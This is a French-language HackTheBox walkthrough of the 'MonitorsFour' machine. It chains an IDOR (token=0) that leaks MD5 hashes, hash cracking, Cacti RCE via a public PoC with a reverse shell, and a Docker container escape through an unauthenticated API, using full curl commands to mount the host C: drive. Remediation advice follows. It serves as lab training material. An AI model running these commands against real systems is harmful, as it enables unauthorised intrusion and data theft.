🇬🇧 English version

Plateforme : HackTheBox | Difficulté : Easy | OS : Windows (Docker Desktop / WSL2)
Machine : HTB — MonitorsFour
Chaîne : IDOR → Hash cracking → Cacti RCE → Docker escape

🗺️ Vue d'ensemble

MonitorsFour est une box Windows qui cache la quasi-totalité de sa surface d'attaque derrière une application web PHP et une infrastructure conteneurisée. Le chemin se déroule en quatre actes : une faille de logique sur une API expose des credentials, ceux-ci permettent de s'authentifier sur un service de monitoring vulnérable à une RCE, le shell obtenu atterrit dans un conteneur Docker, et l'évasion finale passe par l'API Docker exposée sans authentification sur le réseau interne.

1. Reconnaissance

rustscan -a $IP --ulimit 5000 -- -sC -sV

Pourquoi c'est important : La combinaison nginx + WinRM sur une box Windows est un signal classique de conteneurisation. nginx tourne typiquement sous Linux — ici, il est dans un conteneur Docker Desktop sur l'hôte Windows. Le port 5985 est le vrai WinRM Windows. Cette observation aurait dû alerter dès le départ.

echo "$IP monitorsfour.htb" | sudo tee -a /etc/hosts

2. Enumération Web

Découverte du sous-domaine

ffuf -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
     -u http://monitorsfour.htb \
     -H "Host: FUZZ.monitorsfour.htb" \
     -ac -t 50 -s | tee fuzz.txt
# cacti

Résultat : cacti.monitorsfour.htb

echo "$IP monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hosts

Pourquoi chercher les vhosts : Un seul serveur peut héberger plusieurs sites selon le nom de domaine dans l'en-tête HTTP Host:. La box utilise déjà le virtual hosting (la redirection IP → nom de domaine le trahit), donc il existe probablement d'autres sites cachés derrière la même IP. cacti.monitorsfour.htb s'avère être le vrai vecteur d'entrée.

Enumération des endpoints

ffuf -u http://monitorsfour.htb/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -e .php -t 50 -mc 200,301,302,403 -ic

curl "http://monitorsfour.htb/user"
# {"error":"Missing token parameter"}

curl "http://monitorsfour.htb/user?token=test"
# {"error":"Invalid or missing token"}

3. IDOR — Fuite des credentials via token=0

La faille : L'endpoint /user?token= valide un identifiant d'utilisateur. Le code du contrôleur fait (en pseudo-code) :

if ($token) {
    return get_user($token);   // token valide → un user
} else {
    return get_all_users();    // sinon → TOUS les users
}

Le développeur a écrit if ($token) au lieu de if ($token !== null). En PHP, la valeur 0 est falsy — if(0) est faux. Passer token=0 tombe dans le else et renvoie la table entière.

C'est une IDOR (Insecure Direct Object Reference) combinée à une faille de logique sur les valeurs falsy. À retenir : tester systématiquement 0, -1, chaîne vide, null sur tout paramètre d'identification.

curl -s "http://monitorsfour.htb/user?token=0" | python3 -m json.tool

Résultat :

[
  {"username": "admin", "password": "56b32eb43e6f15395f6c46c1c9e1cd36", "name": "Marcus Higgins"},
  {"username": "mwatson", "password": "69196959c16b26ef00b77d82cf6eb169", "name": "Michael Watson"}
]

4. Crack des hash MD5

Les hash sont du MD5 non salé — format trivial à casser.

# Sur Mac avec Hashcat natif (GPU M5 via Metal)
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hashes.txt
hashcat -m 0 hashes.txt ~/wordlists/rockyou.txt

Résultat : 56b32eb43e6f15395f6c46c1c9e1cd36 → wonderful1

Pourquoi MD5 est dangereux : MD5 sans sel est cassable en quelques secondes sur un GPU moderne. Les hash sont identiques pour un même mot de passe, et les tables rainbow précalculées couvrent la plupart des mots courants.

5. Accès Cacti — CVE-2025-24367 (RCE authentifiée)

Naviguer vers http://cacti.monitorsfour.htb/cacti/ — la version est affichée en bas : Cacti 1.2.28.

Subtilité des credentials : Le username dans l'API est admin, mais le nom complet est Marcus Higgins. Cacti utilise le prénom comme identifiant → login avec marcus / wonderful1.

CVE-2025-24367 : Cacti 1.2.28 est vulnérable à une RCE authentifiée. L'exploit abuse de la fonctionnalité graphs/templates pour générer un fichier PHP dans le webroot puis le déclencher.

# T1 — Listener
penelope -p 9001

# T4 — Exploit
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
sudo python3 exploit.py \
  -url http://cacti.monitorsfour.htb \
  -u marcus -p wonderful1 \
  -i $ME -l 9001

Shell obtenu : www-data dans un conteneur Docker.

6. Post-exploitation — Dans le conteneur

id        # uid=33(www-data)
hostname  # 821fbd6a43fa  ← hash court = ID de conteneur Docker
ip addr   # 172.18.0.3/16 sur eth0
ip route  # default via 172.18.0.1

Flag user :

cat /home/marcus/user.txt

7. Evasion de conteneur — CVE-2025-9074 (API Docker non authentifiée)

Le contexte : Docker Desktop sur Windows expose son API REST sur 192.168.65.7:2375 sans authentification. CVE-2025-9074 documente exactement cette exposition : les conteneurs Linux peuvent atteindre ce endpoint et interagir avec le Docker Engine du host Windows.

curl -s http://192.168.65.7:2375/version
# {"Platform":{"Name":"Docker Engine - Community"},...,"Version":"28.3.2",...}

Sur Docker Desktop + WSL2, le disque C:\ Windows est exposé sous /mnt/host/c. On crée un conteneur qui monte ce chemin :

curl -s -X POST -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/mnt/host_root"]
    }
  }' \
  http://192.168.65.7:2375/containers/create -o /tmp/response.json

cid=$(grep -o '"Id":"[^"]*"' /tmp/response.json | cut -d'"' -f4)
curl -s -X POST http://192.168.65.7:2375/containers/$cid/start
sleep 2
curl -s "http://192.168.65.7:2375/containers/$cid/logs?stdout=true" --output -

Flag root obtenu.

🗺️ Chaîne complète

IDOR token=0
    → Hash MD5 leaked (admin / marcus)
        → Hashcat → wonderful1
            → Login Cacti (marcus:wonderful1)
                → CVE-2025-24367 → RCE → shell www-data
                    → Docker container (172.18.0.3)
                        → API Docker 192.168.65.7:2375 (CVE-2025-9074)
                            → bind mount /mnt/host/c
                                → root.txt ✅

🛡️ Comment corriger ces failles

1. IDOR + logique falsy sur /user?token=

Correction : Remplacer if ($token) par if ($token !== null && $token !== ''). Ajouter une authentification obligatoire sur tous les endpoints API.

2. Hash MD5 non salés

Correction : Utiliser password_hash() en PHP (bcrypt par défaut) ou Argon2id. Ne jamais stocker de MD5/SHA1 pour des mots de passe.

3. Cacti 1.2.28 — CVE-2025-24367

Correction : Mettre à jour Cacti. Restreindre l'accès par IP. Appliquer le principe du moindre privilège.

4. API Docker exposée sans auth — CVE-2025-9074

Correction : Désactiver "Expose daemon on tcp://localhost:2375 without TLS". Si TCP requis → TLS + certificats mutuels. Isoler les conteneurs sur des réseaux dédiés.

💡 Leçons retenues

• Tester les valeurs falsy (0, -1, "", null) sur tout paramètre d'identification.
• Ne pas abandonner le fuzzing de vhosts trop tôt — cacti était la vraie surface d'attaque.
• Lire les en-têtes HTTP — X-Powered-By: PHP/8.3.27 + PHPSESSID trahissent la techno dès le premier curl.
• nginx sur Windows = conteneurisation probable — TTL 127 + nginx = signal fort Docker Desktop.
• L'API Docker non authentifiée = root immédiat — atteindre le port 2375 depuis un conteneur compromis est un game over.

📺 Voir le walkthrough vidéo : YouTube WhyShell
🇬🇧 English version